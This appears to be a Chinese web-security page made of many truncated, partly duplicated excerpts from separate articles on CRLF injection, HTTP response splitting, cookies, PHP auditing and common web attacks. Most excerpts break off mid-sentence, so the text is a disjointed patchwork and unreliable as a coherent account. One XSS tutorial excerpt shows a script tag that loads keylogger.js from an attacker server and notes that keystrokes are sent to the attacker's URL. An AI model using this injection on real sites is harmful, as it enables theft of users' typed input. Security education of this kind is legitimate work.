转:https://www.leavesongs.com/PENETRATION/Sina-CRLF-Injection.html 新浪某站CRLF Injection导致的安全问题 PHITHON 2014 六月 30 06:45   阅读:3714    网络安全    HRS, CRLF, xss CRLF Injection很少遇见,这次被我逮住了.我看zone中(http://zone.wooyun.org/content/13323)还有一些同学对于这个漏洞不甚了解,甚至分不清它与C

第一小节:HTTP Basics:使用Proxy软件(例如Webscarab)来截断浏览器(客户端)和Server之间的HTTP通信,之后任意篡改得到预期结果即可. 第二小节:HTTP Splitting:(其实应该为HTTP Response Splitting) 分为两步 1.HTTP Splitting:通过注入HTTP request使得Server返回两个HTTP response(最起码是使得接收到Server返回响应的目标自己认为是接收到了两个HTTP response),而不是一

Updates 2014-08-17 感谢@搞前端的crosser的提醒,加入了HTTP Response Splitting的内容. 此篇文章的Presentation戳这里. 一.cookie的基本特性 如果不了解cookie,可以先到wikipedia上学习一下. http request 浏览器向服务器发起的每个请求都会带上cookie: Host: www.example.org Cookie: foo=value1;bar=value2 Accept: */* http respon

目录: Section 1: 20种PHP源码快速审计方式  Section 2: PHP源码审计自动化( PHP Fuzzer )  风险级别: ■ Low ■ Medium ■ High   在开始PHP代码分析之前,读者必须先完成以下两项工作: 1．安装PHP程序: 2．使用支持PHP代码高亮的编辑器(比如Emeditor - Notepad++). 笔者在下文中所提供的方法仅作为简单的攻击和防御参考.本文旨在介绍攻击和防御方法. 注意1:其中一些话题归Wikipedia版权所有 注意2:

XSS 原则上:只要XSS漏洞存在,可以编写任何功能的js脚本 [反射型漏洞利用] 键盘记录器:被记录下的数据会发送到攻击者指定的URL地址上 服务器:kali 客户端 启动apache2服务:service apache2 start 语法:<script src="http://192.168.1.127/keylogger.js"></script> keylogger.js document.onkeypress = function(evt) { ev

CRLF Injection很少遇见,这次被我逮住了.我看zone中(http://zone.wooyun.org/content/13323)还有一些同学对于这个漏洞不甚了解,甚至分不清它与CSRF,我详细说一下吧. CRLF是”回车 + 换行”(\r\n)的简称.在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来.所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些

CRLF攻击的一篇科普:新浪某站CRLF Injection导致的安全问题(转) 转:https://www.leavesongs.com/PENETRATION/Sina-CRLF-Injection.html 新浪某站CRLF Injection导致的安全问题 PHITHON 2014 六月 30 06:45   阅读:3714    网络安全    HRS, CRLF, xss CRLF Injection很少遇见,这次被我逮住了.我看zone中(http://zone.wooyun.or

ref:http://www.xwood.net/_site_domain_/_root/5870/5874/t_c268166.html 标签:安全,漏洞,健壮,java,SQL注入,SS及CSRF,命令注入,线程安全     发布时间:2017-09-16    一.前言 这边通过工作整理一些常见安全漏洞及解决方法,主要涉及有:框架低版本漏洞.空指针的引用.整数溢出.命令注入.SQL注入.XSS及CSRF.跳转漏洞.HTTP Response Splitting漏洞.路径可控制及代码注入.资

Web应用程序的安全性问题依其存在的形势划分,种类繁多,这里不准备介绍所有的,只介绍常见的一些.  常见Web应用安全问题安全性问题的列表: 1.跨站脚本攻击(CSS or XSS, Cross Site Scripting) 2.SQL注入攻击(SQL injection) 3.远程命令执行(Code execution,个人觉得译成代码执行并不确切) 4.目录遍历(Directory traversal) 5.文件包含(File inclusion) 6.脚本代码暴露(Script sour

由于一些配置不当或者方法错误,导致HTTP的不安全大概有以下几种: ---------------------------------------------------------- 1.HTTP.sys远程代码执行漏洞(MS15-034) 2.不安全的HTTP请求方法 3.HTTP响应拆分漏洞(CRLF注入) 4.HTTP慢速攻击 ----------------------------------------------------------- 0x01.HTTP.sys远程代码执行漏洞

Web应用程序的安全性问题依其存在的形势划分,种类繁多,这里不准备介绍所有的,只介绍常见的一些. 常见Web应用安全问题安全性问题的列表: 1.跨站脚本攻击(CSS or XSS, Cross Site Scripting) 2.SQL注入攻击(SQL injection) 3.远程命令执行(Code execution,个人觉得译成代码执行并不确切) 4.目录遍历(Directory traversal) 5.文件包含(File inclusion) 6.脚本代码暴露(Script sourc

目录 第一篇 世界观安全 一 我的安全世界观 第二篇 客户端脚本安全 一 浏览器安全二 跨站脚本攻击(XSS)三 跨站点请求伪造(CSRF)四 点击劫持(ClickJacking)五 HTML5 安全 第三篇 服务端应用安全 一 注入攻击二 文件上传漏洞三 认证与会话管理四 访问控制五 加密算法与随机数六 Web框架安全七 应用层拒绝服务攻击八 PHP安全九 Web Server配置安全 第四篇 互联网公司安全运营  一 互联网业务安全二 安全开发流程(SDL)三 安全运营 第一篇 世界观安全

01 漏洞描述 在<HTTP | HTTP报文>一文中,我们介绍了HTTP报文的结构:状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔.或者理解为首部最后一个字段有两个CRLF,首部和主体由两个CRLF分隔. CRLF注入漏洞,是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符.攻击者一旦向请求行或首部中的字段注入恶意的CRLF,就能注入一些首部字段或报文主体,并在响应中输出,所以又称为HTTP响应拆分漏洞(HTTP Response Splitting).

一.cookie的基本特性 如果不了解cookie,可以先到 wikipedia 上学习一下. http request 浏览器向服务器发起的每个请求都会带上cookie: GET /index.html HTTP/1.1 Host: www.example.org Cookie: foo=value1;bar=value2 Accept: */* http response 服务器给浏览器的返回可以设置cookie: HTTP/1.1 200 OK Content-type: text/htm

CRLF 指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a),操作系统就是根据这个标识来进行换行的,你在键盘输入回车键就是输出这个字符,只不过win和linux系统采用的标识不一样而已. 在HTTP当中HTTP的Header和Body之间就是用两个crlf进行分隔的,如果能控制HTTP消息头中的字符,注入一些恶意的换行,这样就能注入一些会话cookie和html代码,所以CRLF injection 又叫做 HTTP response Spli

Websites are getting more and more complex everyday and there are almost no static websites being built. Today, the simplest website has at least a contact or newsletter form and many are built with CMS systems or it may be using 3rd party plugins, s

PHP的网站主要攻击方式: 1.命令注入(Command Injection) 2.eval注入(Eval Injection) 3.客户端脚本攻击(Script Insertion) 4.跨网站脚本攻击(Cross Site Scripting, XSS) 5.SQL注入攻击(SQL injection) 6.跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF) 7.Session 会话劫持(Session Hijacking) 8.Session 固定攻

[HRS(CRLF Injection)] CRLF是”回车 + 换行”(\r\n)的简称.在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来. 一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS. HRS不正是注入HTTP头的一个漏洞吗,我们可以

针对PHP的网站主要存在下面几种攻击方式: 1.命令注入(Command Injection) 2.eval注入(Eval Injection) 3.客户端脚本攻击(Script Insertion) 4.跨网站脚本攻击(Cross Site Scripting, XSS) 5.SQL注入攻击(SQL injection) 6.跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF) 7.Session 会话劫持(Session Hijacking) 8.Ses

catalogue . Overview . The urllib Bug . Attack Scenarios . 其他场景 . 防护/缓解手段 1. Overview Python's built-in URL library ("urllib2" in 2.x and "urllib" in 3.x) is vulnerable to protocol stream injection attacks (a.k.a. "smuggling"